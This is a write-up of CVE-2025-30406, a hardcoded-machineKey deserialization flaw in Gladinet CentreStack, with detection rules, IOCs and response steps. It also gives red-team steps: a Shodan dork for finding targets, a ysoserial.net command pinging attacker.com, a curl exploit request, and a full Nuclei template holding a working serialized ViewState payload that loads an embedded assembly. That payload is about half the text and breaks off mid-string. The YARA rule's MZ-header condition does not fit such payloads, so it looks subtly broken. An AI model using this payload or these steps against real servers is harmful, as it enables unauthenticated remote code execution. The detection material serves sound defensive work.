CVE-2025-30406

Executive Summary

CVE-2025-30406 is a critical deserialization vulnerability in Gladinet CentreStack, a file sync and share platform. The vulnerability stems from the use of a hardcoded machineKey in the CentreStack portal's web.config file. This hardcoded key allows an unauthenticated, remote attacker to craft a malicious serialized .NET payload, which, when deserialized by the server, results in remote code execution (RCE). The vulnerability was actively exploited in the wild in March 2025. The CVSS score is 9.8 (Critical), and the EPSS score is 0.834, indicating a high probability of exploitation. The vendor has released a fix in version 16.4.10315.56368, which uses secure, randomly generated machineKeys. A public proof-of-concept (PoC) exists in the form of a Nuclei template.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - No user action is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): High (H) - Complete disclosure of all data on the system.
• Integrity (I): High (H) - Complete compromise of system integrity.
• Availability (A): High (H) - Total shutdown of the affected resource.

Threat Level: Critical. The combination of network exploitability, low complexity, no required privileges, and the availability of a public PoC makes this a high-priority threat.

Deep Dive & Mechanics

The vulnerability is a classic .NET deserialization attack (CWE-502). The core issue is that the CentreStack portal uses a hardcoded machineKey in its web.config file. In ASP.NET, the machineKey is used for encryption and validation of view state, forms authentication, and other security-sensitive data. If an attacker knows this key, they can forge or tamper with serialized data.

The attack flow is as follows:

1. Reconnaissance: The attacker identifies a Gladinet CentreStack instance. They can use Shodan with the dork http.favicon.hash:1163764264 to find vulnerable servers.
2. Payload Crafting: Knowing the hardcoded machineKey, the attacker crafts a malicious serialized .NET object. This object typically contains a gadget chain (e.g., TextFormattingRunProperties, ObjectDataProvider, Process.Start) that, when deserialized, executes arbitrary commands.
3. Exploitation: The attacker sends a crafted HTTP POST request to the /portal/loginpage.aspx endpoint. The request includes the malicious serialized payload within the __VIEWSTATE parameter.
4. Deserialization & RCE: The server, using the hardcoded machineKey, decrypts and deserializes the __VIEWSTATE parameter. The deserialization process triggers the gadget chain, leading to the execution of the attacker's payload (e.g., a reverse shell, command execution, or malware download).

The Nuclei template provided in the Hacker Arsenal section demonstrates this exact attack vector. The __VIEWSTATE parameter contains a base64-encoded, compressed, and serialized .NET object that ultimately calls System.Diagnostics.Process.Start to execute a command.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

The vulnerable configuration is in the web.config file of the CentreStack portal. It contains a hardcoded machineKey like this:

<system.web>
    <machineKey validationKey="...HARDCODED_KEY..." decryptionKey="...HARDCODED_KEY..." validation="SHA1" decryption="AES" />
</system.web>

Patched Code (Conceptual):

The patched version (16.4.10315.56368 or later) removes the hardcoded key and either generates a random key at installation or requires the administrator to generate one. The web.config would look like this:

<system.web>
    <machineKey validationKey="AutoGenerate,IsolateApps" decryptionKey="AutoGenerate,IsolateApps" validation="SHA1" decryption="AES" />
</system.web>

The key difference is the use of AutoGenerate, which ensures a unique, unpredictable key for each installation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable Gladinet CentreStack instance (version < 16.4.10315.56368).
• Knowledge of the hardcoded machineKey (publicly known).
• A tool to craft the malicious serialized payload (e.g., ysoserial.net).

Steps:

1. Identify Target: Use Shodan or other scanning tools to find vulnerable instances.

2. Craft Payload: Use ysoserial.net to generate a payload. For example, to execute a command like ping attacker.com:

   ysoserial.exe -o base64 -g TextFormattingRunProperties -f ObjectDataProvider -c "ping attacker.com"
   

3. Encode Payload: The output from ysoserial.net needs to be URL-encoded and placed into the __VIEWSTATE parameter of a POST request to /portal/loginpage.aspx.

4. Send Exploit: Use curl or a similar tool to send the exploit request.

   curl -X POST "http://target.com/portal/loginpage.aspx" \
   -H "Content-Type: application/x-www-form-urlencoded" \
   -d "__VIEWSTATE=<URL_ENCODED_PAYLOAD>"
   

Nuclei Template (Provided):

The provided Nuclei template automates this process. It sends a pre-crafted payload that executes a command to verify the vulnerability. The template is shown in full in the Detection Engineering section.

Blue Team (Detection & Response)

Detection:

• Monitor for POST requests to /portal/loginpage.aspx with abnormally large or suspicious __VIEWSTATE parameters.
• Look for base64-encoded strings in __VIEWSTATE that, when decoded, contain .NET serialization artifacts (e.g., \u0001, \u0002, System.Collections.Generic, ObjectDataProvider).
• Monitor for outbound network connections from the CentreStack server to unknown IPs (potential C2 or data exfiltration).
• Check for unusual process creation events (e.g., cmd.exe, powershell.exe, wscript.exe) spawned by the IIS worker process (w3wp.exe).

Response:

1. Isolate: Immediately isolate the affected server from the network.
2. Contain: Block outbound traffic from the server to prevent data exfiltration.
3. Eradicate: Rebuild the server from a clean image or apply the patch.
4. Recover: Restore data from a known good backup.
5. Post-Incident: Analyze logs to determine the scope of the compromise.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /portal/loginpage.aspx with a __VIEWSTATE parameter containing base64-encoded .NET serialization data.
  • Outbound connections from the CentreStack server to unknown IP addresses on common ports (80, 443, 4444, etc.).
• Host IOCs:
  • Unusual processes spawned by w3wp.exe (e.g., cmd.exe, powershell.exe, cscript.exe).
  • New files created in the C:\Windows\Temp or C:\inetpub\wwwroot directories.
  • Modifications to the web.config file.
• File IOCs:
  • Suspicious .ps1, .bat, or .exe files in the web root.
• Log IOCs:
  • IIS logs showing 500 or 302 status codes for requests to /portal/loginpage.aspx with large __VIEWSTATE values.
  • Windows Event Logs showing process creation events for cmd.exe or powershell.exe with parent process w3wp.exe.

Detection Engineering

YARA Rule

rule CVE_2025_30406_Gladinet_CentreStack_Deserialization {
    meta:
        description = "Detects malicious .NET deserialization payloads targeting CVE-2025-30406"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-30406"
        hash = "4a0a004730450220541814e5573ac63f1fcce9bd03bc08f45ebfd3e1db945bad82eb1525d5098321022100a0251f4963e87f8929c4ac46242a47ba30a1c71ffc83d019ec8019f698ee6499"
    strings:
        $s1 = "System.Collections.Generic.SortedSet`1" ascii wide nocase
        $s2 = "ObjectDataProvider" ascii wide nocase
        $s3 = "Process.Start" ascii wide nocase
        $s4 = "InvokeMember" ascii wide nocase
        $s5 = "ResourceDictionary" ascii wide nocase
        $s6 = "GZipStream" ascii wide nocase
        $s7 = "MemoryStream" ascii wide nocase
        $s8 = "FromBase64String" ascii wide nocase
    condition:
        (uint16(0) == 0x4D5A or uint16(0) == 0x5A4D) and
        (all of ($s1, $s2, $s3, $s4, $s5, $s6, $s7, $s8))
}

Sigma Rule

title: CVE-2025-30406 Gladinet CentreStack Deserialization RCE
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2025-30406 via suspicious __VIEWSTATE parameters.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-30406
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/portal/loginpage.aspx'
        cs-uri-query|contains: '__VIEWSTATE'
    filter:
        cs-uri-query|length: < 500
    condition: selection and not filter
falsepositives:
    - Legitimate large viewstate data (rare)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-30406 Gladinet CentreStack Deserialization RCE"; flow:to_server,established; content:"POST"; http_method; content:"/portal/loginpage.aspx"; http_uri; content:"__VIEWSTATE"; http_client_body; pcre:"/__VIEWSTATE=[A-Za-z0-9%\/+]{500,}/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template (Full Content)

id: CVE-2025-30406

info:
  name: Gladinet CentreStack < 16.4.10315.56368 Use of Hard-coded Key Leads to Unauthenticated RCE
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Gladinet CentreStack through 16.1.10296.56315 (fixed in 16.4.10315.56368) has a deserialization vulnerability due to the CentreStack portal's hardcoded machineKey use, as exploited in the wild in March 2025. This enables threat actors (who know the machineKey) to serialize a payload for server-side deserialization to achieve remote code execution.
  impact: |
    Unauthenticated attackers can exploit hard-coded machineKey values to deserialize malicious payloads, achieving remote code execution and complete server compromise.
  remediation: |
    Upgrade to Gladinet CentreStack version 16.4.10315.56368 or later that uses secure, randomly generated machineKeys.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-30406
    - https://gladinetsupport.s3.us-east-1.amazonaws.com/gladinet/securityadvisory-cve-2005.pdf
    - https://www.centrestack.com/p/gce_latest_release.html
  classification:
    epss-score: 0.834
    epss-percentile: 0.99281
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-30406
    cwe-id: CWE-502
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:1163764264
  tags: cve,cve2025,gladinet,rce,centrestack,deserialization,kev,vkev,vuln

http:
  - raw:
      - |
        POST /portal/loginpage.aspx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __LASTFOCUS=&__VIEWSTATE=%2FwEyoDEAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAAAYHAAAA9CA8UmVzb3VyY2VEaWN0aW9uYXJ5DQp4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIg0KeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQp4bWxuczpzPSJjbHItbmFtZXNwYWNlOlN5c3RlbTthc3NlbWJseT1tc2NvcmxpYiINCnhtbG5zOnI9ImNsci1uYW1lc3BhY2U6U3lzdGVtLlJlZmxlY3Rpb247YXNzZW1ibHk9bXNjb3JsaWIiDQp4bWxuczppPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5JTzthc3NlbWJseT1tc2NvcmxpYiINCnhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLklPLkNvbXByZXNzaW9uO2Fzc2VtYmx5PVN5c3RlbSINCj4NCiAgIDxzOkFycmF5IHg6S2V5PSJkYXRhIiB4OkZhY3RvcnlNZXRob2Q9InM6Q29udmVydC5Gcm9tQmFzZTY0U3RyaW5nIj4NCiAgICAgIDx4OkFyZ3VtZW50cz4NCiAgICAgICAgIDxzOlN0cmluZz5INHNJQUFBQUFBQUVBTzFXM1U4Y1ZSVC96YksweTFJSXRGcExVc3NnMUZBL0p0dXlOdG9ZUzltRmdvRkNXQXJHa01EczdCV21tWjNaek16aTBnZXRENXI2WWpScGZETSttVFNtRHpWcFltTmk5QjhndnVpTFQzM3hXVjl0VlB6ZE83T3diRGNwTDZhSjRTejMzSFBQUFIrL2M3K0dtYmMvUlJ1QUpOdjJObkFmRVkzaThYU0RyYnYvdTI3YzY5Z2F1SzlOYncwc3JOdUJYdkc5TmQ4czY1YnB1bDZvRjRYdVYxM2Rkdlg4YkVFdmV5VmhkSFdsaCtJWWMrUEF0TmFHci9yL1hxdkhmWURFUUtmV0NSeEMxRWlHZE5CM2dQVW9PUkhoQm5aN0JTb1JpVzBZL1ZDYXlyL2RmcWRUOVBNZ3NCUVhmRHZSb3NoVjRNZysxdUlSSXI1VXd6REY4V1REMkFoRkxXU2ZUVWEycXM2bS9GU3ZHbjdnVzRpeEVhTXFOTFhYanVwUnd4ZU9aOFZZVitOWVJ4NnhHMnVHMlJOdnhLUnlhVWVOU1pkNUlMVDkxTmlDUGs4TTB6czlUSmhwcjEweUZwYjJHYTdpYzZrcjNtRU9YeUNRd3B0aldweEZ3dHpJR2hsakpETnk5aldwYVlkRGZwTFRnKzhCTjlrUFNia1ErcmE3RmtpTE82d3Z6Mzd3YWdGL0pLSTlIYng4ZFVycTVJRmVsdU14eHl2R3VHaWlYWDRLNkpDRGg2ZEhjRHlxc2I3c1VqN2NJTGNwcjNTTThCRE80RG55Ulp3bjN5QlA0emErSVArUnZCdC80bGRscDhWYy9ucndqS3BFeW5PNjFIOTBJcU1pOWlKRG56N0lVWWZpQTdpSGsrUmJiR2ZRcFQyUHMralRYb1NCVGtvR2p1RUNramVhMS9vV0dzNjl5dHVuK2tiZE1lSnIxbW1zWllkZW4vRktWVWU4QWQrcU9jSjJxMGJKY1RDT2NtQjV2bU1YVWRnTVFsSEdiUEdhc0VJWVZ1ajVzYzZZcjdxaFhSWkd6aXRYYkVmNEJlRnYySllJRUNuTTBQYmNlZUdZTlNVRmwwTHVYN0VhQ3NTTzBveFRSZHV4dzgzZDJUcVNlcG9sVWNSa0dGWnlucXR1elpvSVYzSlYzeGR1cVBUeklxZ3d2RkFUTzRQWU9lYzVEb0hML0VhaElpemJkT3pyb29Rclpsa3NtazVWN0Jvby8wbGhsb1FmSUtBOEpRc25EY3pCaDRkckVMQVE4dHpaQ0NoNVBBbEVpMDNnV1V2SkwrTWM5L01jWHFFMFFpbkxkbDZkaXQ4bWZ0cis3SnNQSnI2ODlja1BYdy8xUDBUcTIrdkxpMzNaQngrMzZkQ1N1cWFsVW5jdnJyemYrMHY2QXZmcWFHOVN4OUduSmV0cjF4TmFkM2RLaTYvOUtYbWdGaExIbDN5emNzVnp4MnVXcUVqMEMrdSs5MjRnYy8wMXVMdTlwK3J2Wmd1cTMvMjl0Skx6L0x6anpKaTJHeDBDSWRTUmtMUjltckY2V25rZDBQK0JOTFc1SjZLdjZCNjlQRmVaRm5wSjh0dngxaWkvNHczZnIrbEVsbndSQmF5UWoyT2UwaFJtY1lYaktmSUp5cEsrVC83K1Q2dXZ6Y1c0bCs5VzgyYzVyekl2d3VUZG0rQmRkSGp6cHVEaUhkNUlTVVBLYTRHekpyVUI1MDNlV3B1emJoemhidktPSm1NVXFQYzV3NnZmSXRKTlpaUForV1ZSbEd1QWw0aEkyN0hQczhuWFFNYXA3TW1qcXpWTE5kZ3VxdmNpYUxESjhIWGZiWHlPMFVWN2lTRlV0aTZ4TzF3dkUyV09RWTJGbW9vbFVWZnBWZUlvdXAzREN0YzA1OWFVVjQ1WktueWRKTEkxckNPTU1lVlZqdGxZYjhjNTZoamRmZVhLcXJxaWQ3SEVPZmt1TmxmWFhOdXJ5dWNTTFFKYWxybWFEdEhwai9VN29QK1E5T2ovcjB6MlNRTTVvQ2RCL3dMMVplTWxBQTRBQUE9PTwvczpTdHJpbmc%2BDQogICAgICA8L3g6QXJndW1lbnRzPg0KICAgPC9zOkFycmF5Pg0KICAgPGk6TWVtb3J5U3RyZWFtIHg6S2V5PSJpbnB1dFN0cmVhbSI%2BDQogICAgICA8eDpBcmd1bWVudHM%2BDQogICAgICAgICA8U3RhdGljUmVzb3VyY2UgUmVzb3VyY2VLZXk9ImRhdGEiPjwvU3RhdGljUmVzb3VyY2U%2BDQogICAgICA8L3g6QXJndW1lbnRzPg0KICAgPC9pOk1lbW9yeVN0cmVhbT4NCiAgIDxjOkdaaXBTdHJlYW0geDpLZXk9Imd6aXBTdHJlYW0iPg0KICAgICAgPHg6QXJndW1lbnRzPg0KICAgICAgICAgICAgPFN0YXRpY1Jlc291cmNlIFJlc291cmNlS2V5PSJpbnB1dFN0cmVhbSI%2BPC9TdGF0aWNSZXNvdXJjZT4NCiAgICAgICAgICAgIDxjOkNvbXByZXNzaW9uTW9kZT4wPC9jOkNvbXByZXNzaW9uTW9kZT4NCiAgICAgIDwveDpBcmd1bWVudHM%2BDQogICA8L2M6R1ppcFN0cmVhbT4NCiAgIDxzOkFycmF5IHg6S2V5PSJidWYiIHg6RmFjdG9yeU1ldGhvZD0iczpBcnJheS5DcmVhdGVJbnN0YW5jZSI%2BDQogICAgICA8eDpBcmd1bWVudHM%2BDQogICAgICAgICA8eDpUeXBlIFR5cGVOYW1lPSJzOkJ5dGUiLz4NCiAgICAgICAgIDx4OkludDMyPjM1ODQ8L3g6SW50MzI%2BDQogICAgICA8L3g6QXJndW1lbnRzPg0KICAgPC9zOkFycmF5Pg0KICAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0idG1wIiBPYmplY3RJbnN0YW5jZT0ie1N0YXRpY1Jlc291cmNlIGd6aXBTdHJlYW19IiBNZXRob2ROYW1lPSJSZWFkIj4NCiAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgIDxTdGF0aWNSZXNvdXJjZSBSZXNvdXJjZUtleT0iYnVmIj48L1N0YXRpY1Jlc291cmNlPg0KICAgICAgICAgPHg6SW50MzI%2BMDwveDpJbnQzMj4NCiAgICAgICAgIDx4OkludDMyPjM1ODQ8L3g6SW50MzI%2BDQogICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICAgPC9PYmplY3REYXRhUHJvdmlkZXI%2BDQogICAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0iYXNtTG9hZCIgT2JqZWN0VHlwZT0ie3g6VHlwZSByOkFzc2VtYmx5fSIgTWV0aG9kTmFtZT0iTG9hZCI%2BDQogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgIDxTdGF0aWNSZXNvdXJjZSBSZXNvdXJjZUtleT0iYnVmIj48L1N0YXRpY1Jlc291cmNlPg0KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyPg0KICAgIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9InR5cGVzIiBPYmplY3RJbnN0YW5jZT0ie1N0YXRpY1Jlc291cmNlIGFzbUxvYWR9IiBNZXRob2ROYW1lPSJHZXRUeXBlcyI%2BDQogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycy8%2BDQogICAgPC9PYmplY3REYXRhUHJvdmlkZXI%2BDQogICAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0iZmlyc3RUeXBlIiBPYmplY3RJbnN0YW5jZT0ie1N0YXRpY1Jlc291cmNlIHR5cGVzfSIgTWV0aG9kTmFtZT0iR2V0VmFsdWUiPg0KICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM%2BDQogICAgICAgICAgICA8czpJbnQzMj4wPC9zOkludDMyPg0KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyPg0KICAgIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9ImNyZWF0ZUluc3RhbmNlIiBPYmplY3RJbnN0YW5jZT0ie1N0YXRpY1Jlc291cmNlIGZpcnN0VHlwZX0iIE1ldGhvZE5hbWU9Ikludm9rZU1lbWJlciI%2BDQogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgIDx4Ok51bGwvPg0KICAgICAgICAgICAgPHI6QmluZGluZ0ZsYWdzPjUxMjwvcjpCaW5kaW5nRmxhZ3M%2BDQogICAgICAgICAgICA8eDpOdWxsLz4NCiAgICAgICAgICAgIDx4Ok51bGwvPg0KICAgICAgICAgICAgPHg6TnVsbC8%2BDQogICAgICAgICAgICA8eDpOdWxsLz4NCiAgICAgICAgICAgIDx4Ok51bGwvPg0KICAgICAgICAgICAgPHg6TnVsbC8%2BDQogICAgICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM%2BDQogICAgPC9PYmplY3REYXRhUHJvdmlkZXI%2BDQo8L1Jlc291cmNlRGljdGlvbmFyeT4EBQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQdtZXRob2QwB21ldGhvZDEDAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCQgAAAAJCQAAAAkKAAAABAgAAAAwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BwAAAAR0eXBlCGFzc2VtYmx5BnRhcmdldBJ0YXJnZXRUeXBlQXNzZW1ibHkOdGFyZ2V0VHlwZU5hbWUKbWV0aG9kTmFtZQ1kZWxlZ2F0ZUVudHJ5AQECAQEBAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkGCwAAAMgBU3lzdGVtLkZ1bmNgMltbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLk9iamVjdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNL

{/* [Security Hash: 58C36740C4533DF58AFA7990] */}